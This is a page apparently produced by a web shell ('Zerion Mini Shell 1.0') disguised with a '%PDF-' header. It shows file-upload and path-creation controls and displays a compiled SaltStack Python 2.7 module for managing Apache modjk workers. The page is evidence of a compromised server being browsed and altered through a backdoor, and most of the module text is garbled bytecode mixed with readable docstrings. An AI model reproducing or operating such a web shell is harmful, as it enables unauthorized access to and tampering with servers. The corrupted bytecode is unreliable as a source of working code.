%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/states/modjk.pyo

�
���^c@@s�dZddlmZmZmZddlZddlmZeje	�Z
d�Zd�Zddd�Zddd	�Zddd
�Zddd�ZdS(u
State to control Apache modjk
i(tabsolute_importtprint_functiontunicode_literalsN(tsixcC@s
dtkS(u,
    Load this state if modjk is loaded
    u
modjk.workers(t__salt__(((s5/usr/lib/python2.7/site-packages/salt/states/modjk.pyt__virtual__sc	C@sIi|d6td6id6dd6}t|t�sXt|d<djt|��|d<|Stdrpd
|d<|Stj	d||�yt
|||d	|�}Wn/tk
r�t|d<d
j|�|d<|SXg}x3tj
|�D]"\}}|s�|j|�q�q�Wi|d6|d<|rEt|d<dj|�|d<n|S(u4
    Generic function for bulk worker operation
    unameuresultuchangesuucommentu"workers should be a list not a {0}utestu executing %s to modjk workers %stprofileuunsupported function {0}ustatusu{0} failed on some workersN(tTruet
isinstancetlisttFalsetformatttypet__opts__tNonetlogtinfoRtKeyErrorRt	iteritemstappend(	tsaltfunctlbntworkersRtrettcmdretterrorstworkertok((s5/usr/lib/python2.7/site-packages/salt/states/modjk.pyt_bulk_states:








udefaultcC@s(|dkrg}ntd|||�S(u�
    Stop all the workers in the modjk load balancer

    Example:

    .. code-block:: yaml

        loadbalancer:
          modjk.worker_stopped:
            - workers:
              - app1
              - app2
    umodjk.bulk_stopN(RR(tnameRR((s5/usr/lib/python2.7/site-packages/salt/states/modjk.pytworker_stoppedCs	cC@s(|dkrg}ntd|||�S(u�
    Activate all the workers in the modjk load balancer

    Example:

    .. code-block:: yaml

        loadbalancer:
          modjk.worker_activated:
            - workers:
              - app1
              - app2
    umodjk.bulk_activateN(RR(RRR((s5/usr/lib/python2.7/site-packages/salt/states/modjk.pytworker_activatedXs	cC@s(|dkrg}ntd|||�S(u�
    Disable all the workers in the modjk load balancer

    Example:

    .. code-block:: yaml

        loadbalancer:
          modjk.worker_disabled:
            - workers:
              - app1
              - app2
    umodjk.bulk_disableN(RR(RRR((s5/usr/lib/python2.7/site-packages/salt/states/modjk.pytworker_disabledms	cC@s(|dkrg}ntd|||�S(u�
    Recover all the workers in the modjk load balancer

    Example:

    .. code-block:: yaml

        loadbalancer:
          modjk.worker_recover:
            - workers:
              - app1
              - app2
    umodjk.bulk_recoverN(RR(RRR((s5/usr/lib/python2.7/site-packages/salt/states/modjk.pytworker_recover�s	(t__doc__t
__future__RRRtloggingtsalt.extRt	getLoggert__name__RRRRRRR R!(((s5/usr/lib/python2.7/site-packages/salt/states/modjk.pyt<module>s		+

Zerion Mini Shell 1.0